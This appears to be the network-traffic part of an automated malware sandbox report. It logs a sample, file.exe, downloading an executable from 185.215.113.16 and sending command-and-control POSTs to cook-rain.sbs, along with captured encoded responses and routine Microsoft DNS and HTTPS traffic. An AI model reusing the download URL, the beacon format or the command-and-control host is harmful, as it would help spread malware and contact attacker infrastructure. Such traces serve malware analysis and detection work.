Nov 18, 2024 02:34:40.732856989 CET	1.1.1.1	192.168.2.6	0xe5f5	No error (0)	shed.dual-low.s-part-0039.t-0009.t-msedge.net	s-part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 02:34:40.732856989 CET	1.1.1.1	192.168.2.6	0xe5f5	No error (0)	s-part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
Nov 18, 2024 02:34:40.732944012 CET	1.1.1.1	192.168.2.6	0x99ac	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 02:34:40.732944012 CET	1.1.1.1	192.168.2.6	0x99ac	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 02:34:40.732944012 CET	1.1.1.1	192.168.2.6	0x99ac	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 02:34:40.732944012 CET	1.1.1.1	192.168.2.6	0x99ac	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 02:34:40.770299911 CET	1.1.1.1	192.168.2.6	0xc8b6	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 02:34:40.770299911 CET	1.1.1.1	192.168.2.6	0xc8b6	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 02:34:42.139756918 CET	1.1.1.1	192.168.2.6	0xc69c	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 02:34:42.140572071 CET	1.1.1.1	192.168.2.6	0xab7b	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 02:34:42.140572071 CET	1.1.1.1	192.168.2.6	0xab7b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 02:34:42.140572071 CET	1.1.1.1	192.168.2.6	0xab7b	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 02:34:46.235588074 CET	1.1.1.1	192.168.2.6	0xb4eb	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 02:34:46.236304045 CET	1.1.1.1	192.168.2.6	0xe660	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 02:35:46.244498968 CET	1.1.1.1	192.168.2.6	0x1b33	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 02:35:46.245353937 CET	1.1.1.1	192.168.2.6	0x8b23	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

otelrules.azureedge.net

slscr.update.microsoft.com

https:

wcpstatic.microsoft.com

js.monitor.azure.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49776	185.215.113.16	80	1112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 02:34:24.430803061 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 18, 2024 02:34:25.337291002 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 01:34:25 GMT Content-Type: application/octet-stream Content-Length: 2772992 Last-Modified: Mon, 18 Nov 2024 01:19:56 GMT Connection: keep-alive ETag: "673a963c-2a5000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 db ed 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui` @ @.rsrc`2@.idata 8@aghspzmb):@cqmpaekk **@.taggant@".*@
Nov 18, 2024 02:34:25.337307930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 02:34:25.337321997 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 02:34:25.337510109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 02:34:25.337523937 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 02:34:25.337547064 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 02:34:25.337563038 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 02:34:25.337577105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 02:34:25.337590933 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 02:34:25.337608099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 02:34:25.342230082 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: \.P}%klvSca5W6!%v

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49709	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:09 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 78 34 47 78 4b 34 44 65 54 45 6d 6c 54 49 57 41 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 38 33 34 65 62 34 61 39 66 38 35 34 31 36 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: x4GxK4DeTEmlTIWA.1Context: 3834eb4a9f854169
2024-11-18 01:34:09 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-18 01:34:09 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 78 34 47 78 4b 34 44 65 54 45 6d 6c 54 49 57 41 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 38 33 34 65 62 34 61 39 66 38 35 34 31 36 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 34 77 30 31 33 68 49 37 45 48 75 62 6c 42 77 46 4a 66 6d 74 65 79 4c 57 43 33 38 45 33 2f 45 4a 35 47 53 39 68 4f 61 2f 76 4e 77 7a 58 61 4e 4c 4e 73 6c 58 36 51 74 52 2f 45 76 61 6e 75 54 6b 57 58 63 42 54 44 73 45 4d 4c 4a 52 77 51 58 4a 2b 71 6e 68 7a 45 4f 62 6b 73 67 57 6f 30 53 5a 2b 38 7a 73 64 58 6d 32 65 42 2f 79 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: x4GxK4DeTEmlTIWA.2Context: 3834eb4a9f854169<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT4w013hI7EHublBwFJfmteyLWC38E3/EJ5GS9hOa/vNwzXaNLNslX6QtR/EvanuTkWXcBTDsEMLJRwQXJ+qnhzEObksgWo0SZ+8zsdXm2eB/y
2024-11-18 01:34:09 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 78 34 47 78 4b 34 44 65 54 45 6d 6c 54 49 57 41 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 38 33 34 65 62 34 61 39 66 38 35 34 31 36 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: x4GxK4DeTEmlTIWA.3Context: 3834eb4a9f854169<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-18 01:34:09 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-18 01:34:09 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 46 43 4f 61 33 62 66 64 6d 30 32 6a 6a 6f 33 6b 79 62 2f 39 71 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: FCOa3bfdm02jjo3kyb/9qg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49710	188.114.97.3	443	1112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:09 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-18 01:34:09 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-18 01:34:10 UTC	1008	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=64lebcn8ouhh251p8g3bch65r2; expires=Thu, 13-Mar-2025 19:20:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tBsl%2FVYZlwPGQ56XZSj44xNGZVjCUBhq%2B6Iw3%2BdrBLmI2ZPPE6tSe4prTKswkce8e9AQsjWURS7wPoo7LzhuenRQyUy%2FYJ6EYvdAm%2BtyYcL0RJA2lnmLaDK7OwwAnM3B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e44376e5fd86900-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1166&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=2260733&cwnd=249&unsent_bytes=0&cid=45edb36d84f3ccb3&ts=1056&x=0"
2024-11-18 01:34:10 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-18 01:34:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49711	188.114.97.3	443	1112	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:11 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-18 01:34:11 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-18 01:34:11 UTC	1004	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mjal9i2toifjgsh5qpla3fpaui; expires=Thu, 13-Mar-2025 19:20:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uh4gxh6J1d5ta021OKf9FXzyFuUxRK%2BVS0E8Crw%2BWuz2DAPUdZTtHDK9eO7VKBW7NqQgmQDh9iS67iV3LFQICbOogSYrP8BkIGj%2FBB0mEHdTirZoADm%2BF29jvabnzX2m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e443777c8de7b32-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18828&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=950&delivery_rate=152421&cwnd=32&unsent_bytes=0&cid=aedfbc9a1f3ee678&ts=562&x=0"
2024-11-18 01:34:11 UTC	365	IN	Data Raw: 34 34 36 63 0d 0a 5a 4b 6f 32 77 38 52 45 46 36 4f 46 77 66 7a 66 41 38 7a 70 68 55 69 36 68 37 6d 2b 44 51 59 4e 56 5a 72 45 52 2b 36 33 73 71 34 66 69 45 44 68 2f 6e 41 37 67 66 61 6b 33 75 56 33 76 70 7a 67 5a 4a 6a 6d 33 5a 77 33 59 47 77 35 36 61 46 72 7a 4d 48 66 6a 46 37 4d 56 36 2b 33 49 54 75 42 34 4c 6e 65 35 56 69 33 79 2b 41 6d 6d 4c 32 62 32 32 64 6b 62 44 6e 34 70 53 79 42 78 39 37 4e 44 4d 5a 52 71 36 45 6e 63 38 4c 70 72 4a 6d 36 5a 71 32 44 36 79 48 58 37 39 53 63 49 53 52 6f 4c 37 6a 2b 5a 61 50 53 78 73 38 70 79 30 57 6f 35 6a 6b 37 32 4b 65 6b 6b 76 30 35 37 6f 6a 67 4b 74 62 68 33 64 56 6c 62 6d 55 78 2b 61 41 74 6e 74 37 55 78 67 7a 49 55 71 71 72 4c 6d 66 50 34 36 75 53 76 47 79 74 79 36 6c 71 33 2f 32 62 68 43 38 33 58 54 54 70 74 Data Ascii: 446cZKo2w8REF6OFwfzfA8zphUi6h7m+DQYNVZrER+63sq4fiEDh/nA7gfak3uV3vpzgZJjm3Zw3YGw56aFrzMHfjF7MV6+3ITuB4Lne5Vi3y+AmmL2b22dkbDn4pSyBx97NDMZRq6Enc8LprJm6Zq2D6yHX79ScISRoL7j+ZaPSxs8py0Wo5jk72Kekkv057ojgKtbh3dVlbmUx+aAtnt7UxgzIUqqrLmfP46uSvGyty6lq3/2bhC83XTTpt
2024-11-18 01:34:11 UTC	1369	IN	Data Raw: 6c 67 75 6f 6e 32 4f 6a 52 30 32 78 6b 61 44 33 79 71 53 2b 49 32 4e 33 4b 42 73 67 55 37 2b 59 68 62 59 47 2f 34 37 32 34 63 61 6d 48 38 57 6a 69 70 63 53 53 64 69 52 6f 4f 37 6a 2b 5a 59 54 51 30 38 38 4e 78 31 65 70 72 54 52 31 30 2b 47 75 6d 36 39 6e 71 34 58 74 4b 63 72 76 31 64 70 73 62 57 51 2b 2f 61 45 68 7a 4a 75 51 79 78 36 49 44 4f 47 48 4b 33 37 4e 37 62 53 65 2f 58 37 67 6b 71 63 74 31 4b 57 44 6e 47 74 6c 61 7a 62 38 71 43 75 49 32 64 62 43 43 38 64 53 71 36 59 68 66 38 6e 76 6f 70 4f 32 62 71 36 4f 36 69 37 65 36 64 72 5a 4c 79 6f 76 4d 4f 44 6d 66 63 7a 37 31 38 38 55 69 6d 47 69 71 43 68 79 31 36 65 38 30 4b 51 68 71 59 65 6e 63 70 6a 72 33 74 4e 39 5a 58 30 79 39 72 51 70 69 64 50 64 7a 77 6a 49 55 61 61 72 4b 48 50 47 35 4b 75 61 76 47 Data Ascii: lguon2OjR02xkaD3yqS+I2N3KBsgU7+YhbYG/4724camH8WjipcSSdiRoO7j+ZYTQ088Nx1eprTR10+Gum69nq4XtKcrv1dpsbWQ+/aEhzJuQyx6IDOGHK37N7bSe/X7gkqct1KWDnGtlazb8qCuI2dbCC8dSq6Yhf8nvopO2bq6O6i7e6drZLyovMODmfcz7188UimGiqChy16e80KQhqYencpjr3tN9ZX0y9rQpidPdzwjIUaarKHPG5KuavG
2024-11-18 01:34:11 UTC	1369	IN	Data Raw: 63 70 6a 70 30 74 78 6b 62 6d 73 33 2f 36 73 67 6a 39 4c 54 77 51 48 43 57 71 61 69 4b 6e 7a 4d 34 61 4f 5a 75 57 53 38 6a 75 34 6d 31 4b 57 56 6e 47 68 38 4c 32 2b 34 69 53 4b 61 31 76 2f 50 46 38 45 55 76 75 67 2f 4e 63 62 72 34 38 62 39 5a 71 75 44 37 43 7a 51 35 63 6e 5a 59 57 39 75 50 66 36 6e 4b 49 44 54 30 4d 30 47 7a 6c 69 68 6f 53 46 6e 30 2b 4b 6c 6a 4c 63 68 34 4d 76 67 4d 70 69 39 6d 2b 70 2f 63 33 34 68 75 70 4d 6d 67 74 76 58 32 6b 62 58 47 72 6a 6d 49 58 6d 42 76 2b 4f 56 76 57 32 70 67 2b 45 75 30 4f 72 55 31 58 31 6c 59 7a 6e 71 6f 53 57 46 32 39 2f 41 44 38 56 54 72 4b 30 73 65 4d 58 67 6f 74 37 7a 49 61 6d 54 70 33 4b 59 30 38 76 52 59 30 70 6b 4f 2f 48 6d 4f 73 4c 4d 6b 4d 73 4b 69 41 7a 68 6f 69 70 39 79 2b 69 71 6c 4c 64 75 70 34 76 Data Ascii: cpjp0txkbms3/6sgj9LTwQHCWqaiKnzM4aOZuWS8ju4m1KWVnGh8L2+4iSKa1v/PF8EUvug/Ncbr48b9ZquD7CzQ5cnZYW9uPf6nKIDT0M0GzlihoSFn0+KljLch4MvgMpi9m+p/c34hupMmgtvX2kbXGrjmIXmBv+OVvW2pg+Eu0OrU1X1lYznqoSWF29/AD8VTrK0seMXgot7zIamTp3KY08vRY0pkO/HmOsLMkMsKiAzhoip9y+iqlLdup4v
2024-11-18 01:34:11 UTC	1369	IN	Data Raw: 35 76 62 64 79 51 33 64 39 65 42 45 4d 37 30 36 6f 77 5a 68 6b 33 68 6f 53 6f 31 6d 61 65 76 6e 62 46 70 6f 59 33 75 4a 74 4c 73 30 4e 42 6b 59 47 4d 2b 2f 61 41 6b 69 64 44 52 79 41 72 43 55 71 4b 6c 4b 58 72 4f 37 2b 50 51 2f 57 61 32 79 37 39 71 2f 66 4c 51 30 6d 6b 6b 63 48 6e 68 35 69 4b 41 6c 59 69 4d 43 73 46 53 70 36 4d 71 64 4d 66 76 70 70 61 35 59 4b 69 4e 35 43 58 63 34 4e 72 54 61 32 68 68 50 66 6d 6e 4b 59 66 61 32 38 6c 47 68 68 53 6d 76 6d 59 74 67 64 61 67 69 4b 70 78 6f 73 76 34 5a 4d 47 6c 33 4e 41 76 50 43 38 32 36 71 77 76 67 74 44 66 79 51 58 48 55 36 79 67 4b 6e 2f 49 37 36 57 52 74 48 4f 74 68 2b 6b 74 31 75 6e 56 30 57 56 6e 59 6e 65 32 35 69 4b 55 6c 59 69 4d 4b 73 39 5a 6a 36 30 71 63 6f 48 34 37 59 66 39 5a 71 4c 4c 76 32 72 55 Data Ascii: 5vbdyQ3d9eBEM706owZhk3hoSo1maevnbFpoY3uJtLs0NBkYGM+/aAkidDRyArCUqKlKXrO7+PQ/Wa2y79q/fLQ0mkkcHnh5iKAlYiMCsFSp6MqdMfvppa5YKiN5CXc4NrTa2hhPfmnKYfa28lGhhSmvmYtgdagiKpxosv4ZMGl3NAvPC826qwvgtDfyQXHU6ygKn/I76WRtHOth+kt1unV0WVnYne25iKUlYiMKs9Zj60qcoH47Yf9ZqLLv2rU
2024-11-18 01:34:11 UTC	1369	IN	Data Raw: 39 30 62 48 58 4a 73 43 61 61 33 74 33 41 52 74 63 61 75 4f 59 68 65 59 47 2f 34 35 69 79 61 4b 32 45 35 69 50 55 36 4e 37 56 61 6d 56 70 4d 2f 4b 73 4a 59 72 54 30 63 6b 4d 79 31 57 72 72 79 46 39 78 75 53 78 33 76 4d 68 71 5a 4f 6e 63 70 6a 4d 33 4d 35 68 64 43 38 6f 74 72 39 6c 69 39 6d 51 6c 45 62 4d 58 71 36 69 49 58 6e 48 34 71 57 54 76 47 36 76 69 2b 67 75 30 2b 7a 64 33 57 4a 68 59 6a 50 71 72 43 36 44 32 64 6e 41 43 34 67 61 34 61 45 2b 4e 5a 6d 6e 6b 70 4f 7a 62 36 6d 64 70 7a 57 57 2f 4a 76 62 59 79 51 33 64 2f 6d 71 4b 6f 2f 61 30 38 38 48 77 6b 61 7a 71 69 39 39 78 4f 75 6f 6b 4c 74 7a 71 49 54 75 4b 64 76 73 33 4e 52 6a 62 6d 77 77 75 4f 68 6c 69 38 32 51 6c 45 62 72 51 37 47 72 5a 6d 71 50 2f 75 4f 5a 73 53 48 32 79 2b 38 6e 30 4f 2f 66 32 Data Ascii: 90bHXJsCaa3t3ARtcauOYheYG/45iyaK2E5iPU6N7VamVpM/KsJYrT0ckMy1WrryF9xuSx3vMhqZOncpjM3M5hdC8otr9li9mQlEbMXq6iIXnH4qWTvG6vi+gu0+zd3WJhYjPqrC6D2dnAC4ga4aE+NZmnkpOzb6mdpzWW/JvbYyQ3d/mqKo/a088Hwkazqi99xOuokLtzqITuKdvs3NRjbmwwuOhli82QlEbrQ7GrZmqP/uOZsSH2y+8n0O/f2
